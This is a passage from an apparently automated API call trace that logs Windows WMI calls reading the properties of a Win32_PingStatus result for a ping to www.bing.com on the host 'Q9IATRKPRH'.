(bstr="Win32_PingStatus") returned 0x20 [0141.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.568] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0141.568] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0141.568] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.568] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889ae0*=0, plFlavor=0x2889ae4*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09b40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2889ae0*=8200, plFlavor=0x2889ae4*=64) returned 0x0 [0141.568] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889ae0*=8200, plFlavor=0x2889ae4*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09b40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2889ae0*=8200, plFlavor=0x2889ae4*=64) returned 0x0 [0141.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0141.569] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0141.569] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.569] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889d48*=0, plFlavor=0x2889d4c*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2889d48*=8, plFlavor=0x2889d4c*=64) returned 0x0 [0141.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.569] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889d48*=8, plFlavor=0x2889d4c*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2889d48*=8, plFlavor=0x2889d4c*=64) returned 0x0 [0141.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0141.569] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0141.569] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.569] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889e70*=0, plFlavor=0x2889e74*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09b40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2889e70*=8200, plFlavor=0x2889e74*=64) returned 0x0 [0141.570] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2889e70*=8200, plFlavor=0x2889e74*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09b40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2889e70*=8200, plFlavor=0x2889e74*=64) returned 0x0 [0141.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0141.570] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0141.570] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0141.570] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0141.571] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.571] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe768*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe75c | out: pNames=0x59fe75c*="\x01ƀ\x04") returned 0x0 [0141.571] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.571] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.571] SafeArrayGetLBound (in: psa=0x5cea220, nDim=0x1, plLbound=0x59fe5f4 | out: plLbound=0x59fe5f4) returned 0x0 [0141.571] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.571] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.571] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.571] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.571] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.571] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.572] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.572] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.572] SysStringByteLen (bstr="__PATH") returned 0xc [0141.572] SysStringByteLen (bstr="__PATH") returned 0xc [0141.572] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b6b0*=0, plFlavor=0x288b6b4*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x288b6b0*=3, plFlavor=0x288b6b4*=64) returned 0x0 [0141.572] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b7b8*=0, plFlavor=0x288b7bc*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x288b7b8*=8, plFlavor=0x288b7bc*=64) returned 0x0 [0141.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.572] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b84c*=0, plFlavor=0x288b850*=0 | out: pVal=0x59fe758*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b84c*=8, plFlavor=0x288b850*=64) returned 0x0 [0141.572] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b910*=0, plFlavor=0x288b914*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x288b910*=8, plFlavor=0x288b914*=64) returned 0x0 [0141.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.572] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288b9a4*=0, plFlavor=0x288b9a8*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x288b9a4*=8, plFlavor=0x288b9a8*=64) returned 0x0 [0141.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.573] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288bbe4*=0, plFlavor=0x288bbe8*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x288bbe4*=3, plFlavor=0x288bbe8*=64) returned 0x0 [0141.573] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288bd2c*=0, plFlavor=0x288bd30*=0 | out: pVal=0x59fe758*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09b40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x288bd2c*=8200, plFlavor=0x288bd30*=64) returned 0x0 [0141.573] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288bd9c*=0, plFlavor=0x288bda0*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x288bd9c*=8, plFlavor=0x288bda0*=64) returned 0x0 [0141.573] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.573] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.573] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288be24*=0, plFlavor=0x288be28*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x288be24*=8, plFlavor=0x288be28*=64) returned 0x0 [0141.573] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.573] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.574] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288bef8*=0, plFlavor=0x288befc*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x288bef8*=8, plFlavor=0x288befc*=64) returned 0x0 [0141.574] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.574] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0141.574] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0141.574] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0141.574] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0141.574] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.574] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59fe7a4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe798 | out: pNames=0x59fe798*="\x01ƀ\x04") returned 0x0 [0141.574] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.575] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.575] SafeArrayGetLBound (in: psa=0x5cea220, nDim=0x1, plLbound=0x59fe630 | out: plLbound=0x59fe630) returned 0x0 [0141.575] SysStringByteLen (bstr="Address") returned 0xe [0141.575] SysStringByteLen (bstr="Address") returned 0xe [0141.575] SysStringByteLen (bstr="BufferSize") returned 0x14 [0141.575] SysStringByteLen (bstr="BufferSize") returned 0x14 [0141.575] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0141.575] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0141.575] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0141.575] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0141.575] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0141.575] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0141.575] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0141.575] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0141.575] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0141.575] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0141.575] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0141.575] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0141.575] SysStringByteLen (bstr="ReplySize") returned 0x12 [0141.576] SysStringByteLen (bstr="ReplySize") returned 0x12 [0141.576] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0141.576] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0141.576] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0141.576] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0141.576] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0141.576] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0141.576] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0141.576] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0141.576] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0141.576] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0141.576] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0141.576] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0141.576] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0141.576] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0141.576] SysStringByteLen (bstr="StatusCode") returned 0x14 [0141.576] SysStringByteLen (bstr="StatusCode") returned 0x14 [0141.576] SysStringByteLen (bstr="Timeout") returned 0xe [0141.576] SysStringByteLen (bstr="Timeout") returned 0xe [0141.576] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0141.576] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0141.576] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0141.577] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0141.577] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0141.577] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0141.577] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0141.577] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0141.577] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0141.577] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0141.577] SysStringByteLen (bstr="TypeofService") returned 0x1a [0141.577] SysStringByteLen (bstr="TypeofService") returned 0x1a [0141.577] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Address", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288c65c*=0, plFlavor=0x288c660*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x288c65c*=8, plFlavor=0x288c660*=0) returned 0x0 [0141.577] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.577] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.577] IWbemClassObject:Get (in: This=0x5ce3798, wszName="BufferSize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288c6e8*=0, plFlavor=0x288c6ec*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x288c6e8*=19, plFlavor=0x288c6ec*=0) returned 0x0 [0141.577] IWbemClassObject:Get (in: This=0x5ce3798, wszName="NoFragmentation", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288c758*=0, plFlavor=0x288c75c*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288c758*=11, plFlavor=0x288c75c*=0) returned 0x0 [0141.578] IWbemClassObject:Get (in: This=0x5ce3798, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288c990*=0, plFlavor=0x288c994*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288c990*=19, plFlavor=0x288c994*=0) returned 0x0 [0141.578] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ProtocolAddress", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ca00*=0, plFlavor=0x288ca04*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="131.253.33.200", varVal2=0x0), pType=0x288ca00*=8, plFlavor=0x288ca04*=0) returned 0x0 [0141.578] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0141.578] SysStringByteLen (bstr="131.253.33.200") returned 0x1c [0141.578] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ca90*=0, plFlavor=0x288ca94*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x288ca90*=8, plFlavor=0x288ca94*=32) returned 0x0 [0141.578] SysStringByteLen (bstr="") returned 0x0 [0141.578] SysStringByteLen (bstr="") returned 0x0 [0141.578] IWbemClassObject:Get (in: This=0x5ce3798, wszName="RecordRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288caf4*=0, plFlavor=0x288caf8*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288caf4*=19, plFlavor=0x288caf8*=0) returned 0x0 [0141.579] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ReplyInconsistency", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cbf0*=0, plFlavor=0x288cbf4*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cbf0*=11, plFlavor=0x288cbf4*=0) returned 0x0 [0141.579] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ReplySize", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cc60*=0, plFlavor=0x288cc64*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x288cc60*=19, plFlavor=0x288cc64*=0) returned 0x0 [0141.579] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ResolveAddressNames", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ccd0*=0, plFlavor=0x288ccd4*=0 | out: pVal=0x59fe794*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ccd0*=11, plFlavor=0x288ccd4*=0) returned 0x0 [0141.579] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ResponseTime", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cd40*=0, plFlavor=0x288cd44*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), pType=0x288cd40*=19, plFlavor=0x288cd44*=0) returned 0x0 [0141.579] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cdb0*=0, plFlavor=0x288cdb4*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6f, varVal2=0x0), pType=0x288cdb0*=19, plFlavor=0x288cdb4*=0) returned 0x0 [0141.580] IWbemClassObject:Get (in: This=0x5ce3798, wszName="RouteRecord", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ce20*=0, plFlavor=0x288ce24*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ce20*=8200, plFlavor=0x288ce24*=32) returned 0x0 [0141.580] IWbemClassObject:Get (in: This=0x5ce3798, wszName="RouteRecordResolved", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ce84*=0, plFlavor=0x288ce88*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288ce84*=8200, plFlavor=0x288ce88*=32) returned 0x0 [0141.580] IWbemClassObject:Get (in: This=0x5ce3798, wszName="SourceRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288cee8*=0, plFlavor=0x288ceec*=0 | out: pVal=0x59fe794*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x288cee8*=8, plFlavor=0x288ceec*=0) returned 0x0 [0141.580] SysStringByteLen (bstr="") returned 0x0 [0141.580] SysStringByteLen (bstr="") 